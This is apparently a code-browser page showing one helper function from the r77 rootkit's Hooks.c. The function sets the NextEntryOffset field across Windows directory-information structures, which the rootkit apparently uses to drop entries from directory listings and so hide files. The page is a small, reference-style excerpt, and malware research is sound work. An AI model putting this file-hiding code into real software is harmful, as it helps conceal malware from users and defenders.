MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / FileInformationSetNextEntryOffset

Function FileInformationSetNextEntryOffset

r77/Hooks.c:1041–1064  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

1039 }
1040}
1041static VOID FileInformationSetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, ULONG value)
1042{
1043 switch (fileInformationClass)
1044 {
1045 case FileDirectoryInformation:
1046 ((PNT_FILE_DIRECTORY_INFORMATION)fileInformation)->NextEntryOffset = value;
1047 break;
1048 case FileFullDirectoryInformation:
1049 ((PNT_FILE_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset = value;
1050 break;
1051 case FileIdFullDirectoryInformation:
1052 ((PNT_FILE_ID_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset = value;
1053 break;
1054 case FileBothDirectoryInformation:
1055 ((PNT_FILE_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset = value;
1056 break;
1057 case FileIdBothDirectoryInformation:
1058 ((PNT_FILE_ID_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset = value;
1059 break;
1060 case FileNamesInformation:
1061 ((PNT_FILE_NAMES_INFORMATION)fileInformation)->NextEntryOffset = value;
1062 break;
1063 }
1064}
1065static VOID FilterEnumServiceStatusA(LPENUM_SERVICE_STATUSA services, LPDWORD servicesReturned)
1066{
1067 for (DWORD i = 0; i < *servicesReturned; i++)

Callers 2

Calls

no outgoing calls

Tested by

no test coverage detected